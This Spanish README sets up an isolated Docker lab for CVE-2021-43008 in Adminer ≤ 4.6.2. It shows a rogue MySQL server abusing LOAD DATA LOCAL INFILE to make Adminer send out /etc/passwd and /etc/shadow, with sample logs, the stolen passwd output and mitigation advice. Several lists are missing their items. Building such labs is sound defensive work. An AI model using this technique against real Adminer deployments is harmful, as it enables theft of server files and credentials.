
Entorno de demostración para la vulnerabilidad CVE-2021-43008 de Adminer: observar el impacto real y probar medidas de mitigación.
Adminer es una herramienta web (PHP) que permite administrar fácilmente bases de datos MySQL, PostgreSQL, SQLite o SQL Server. Se despliega comúnmente como una alternativa ligera a phpMyAdmin.
Versiones afectadas: Adminer ≤ 4.6.2
Adminer permite la conexión a cualquier servidor MySQL remoto. Sin embargo, durante la conexión a un servidor MySQL, el cliente (aquí Adminer) acepta:
Adminer no valida correctamente las respuestas del servidor MySQL en las versiones vulnerables.
Resultado:
“Lee este archivo local en la máquina o contenedor que aloja Adminer y envíamelo.”
Este mecanismo está relacionado con el paquete MySQL:
0xFB | filename → desencadena la lectura local del archivo.
Adminer 4.6.2 permitía a un usuario especificar un servidor MySQL externo y conectarse libremente. Sin embargo, MySQL también permitía —por defecto— el uso de:
LOAD DATA LOCAL INFILEPor lo tanto: Adminer → se conecta al servidor malicioso → el servidor malicioso solicita un archivo → Adminer lo envía.
Esta es la esencia de la vulnerabilidad.
El atacante debe:
LOAD DATA LOCAL INFILE.No se necesita ninguna contraseña de root para exfiltrar un archivo local: es Adminer quien ejecuta la acción como una aplicación PHP en el servidor objetivo.
El atacante puede:
Con las credenciales MySQL robadas (paso secundario), luego puede:
El PoC se realiza en un entorno aislado y contenedorizado para evitar cualquier riesgo.
localhost:80800xFB filename para forzar a Adminer a leer un archivo local.adminer_CVE-2021-43008/
│
├── README.md
├── docker-compose.yml
│
└──rogue_mysql_server/
├── rogue_mysql_server.py
├── requirements.txt
└── Dockerfile
docker compose build && docker compose up -d
En http://localhost:8080:
rogue_mysql:33306LOAD DATA LOCAL INFILE '/etc/passwd'./etc/passwd.stolen_file.txt.Usa el siguiente comando para observar los logs del rogue:
docker logs -f rogue_mysql
Resultado esperado:
2025-11-27 16:59:54,248:INFO:Serving on ('0.0.0.0', 33306)
2025-11-27 17:02:55,213:INFO:Conn from: ('172.18.0.3', 37200)
2025-11-27 17:02:55,214:INFO:Last packet
2025-11-27 17:02:55,214:INFO:Query
2025-11-27 17:02:55,214:INFO:Requesting file: /etc/shadow
2025-11-27 17:02:55,215:INFO:-- Received file data
2025-11-27 17:02:55,215:INFO:Result length: 1 bytes
2025-11-27 17:02:55,215:INFO:Last packet
2025-11-27 17:02:55,216:INFO:Query
2025-11-27 17:02:55,216:INFO:Requesting file: /etc/passwd
2025-11-27 17:02:55,216:INFO:-- Received file data
2025-11-27 17:02:55,217:INFO:Result length: 920 bytes
2025-11-27 17:02:55,217:INFO:File content received: 919 bytes
2025-11-27 17:02:55,217:INFO:File saved to stolen_file.txt
Consulta el contenido del archivo stolen_file.txt:
docker exec -it rogue_mysql sh
Una vez dentro del contenedor, podrás visualizar los contenidos de los archivos, incluyendo stolen_file.txt
# ls
mysql.log requirements.txt rogue_mysql_server.py stolen_file.txt
# cat stolen_file.txt
Resultado:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
Este resultado demuestra la vulnerabilidad sin ambigüedad.
Solución más fiable: Pasar a Adminer ≥ 4.6.3
Las versiones posteriores corrigen el comportamiento de red.
A partir de Adminer 4.7.x, se introdujeron varias protecciones:
Adminer prohíbe ahora por defecto LOAD DATA LOCAL INFILE
Ya sea:
→ Resultado: tu rogue MySQL ya no puede exfiltrar archivos.
Adminer filtra las acciones del cliente antes de enviarlas al servidor
Esto evita que las conexiones externas utilicen funciones peligrosas.
Mecanismos adicionales de validación de entrada
Las nuevas versiones verifican:
Limitar Adminer solo a los hosts internos:
El Adminer de producción debe siempre apuntar a un MySQL interno.
LOCAL INFILE en el lado de MySQLEvita el robo a través del cliente MySQL legítimo:
[mysqld]
local_infile=0
o:
SET GLOBAL local_infile=0;
Adminer no debe ser accesible en Internet.
En producción:
Adminer debe ser visto como una herramienta temporal:
CVE-2021-43008 es una vulnerabilidad crítica de Adminer ≤ 4.6.2 que permite:
Es una demostración perfecta de la importancia: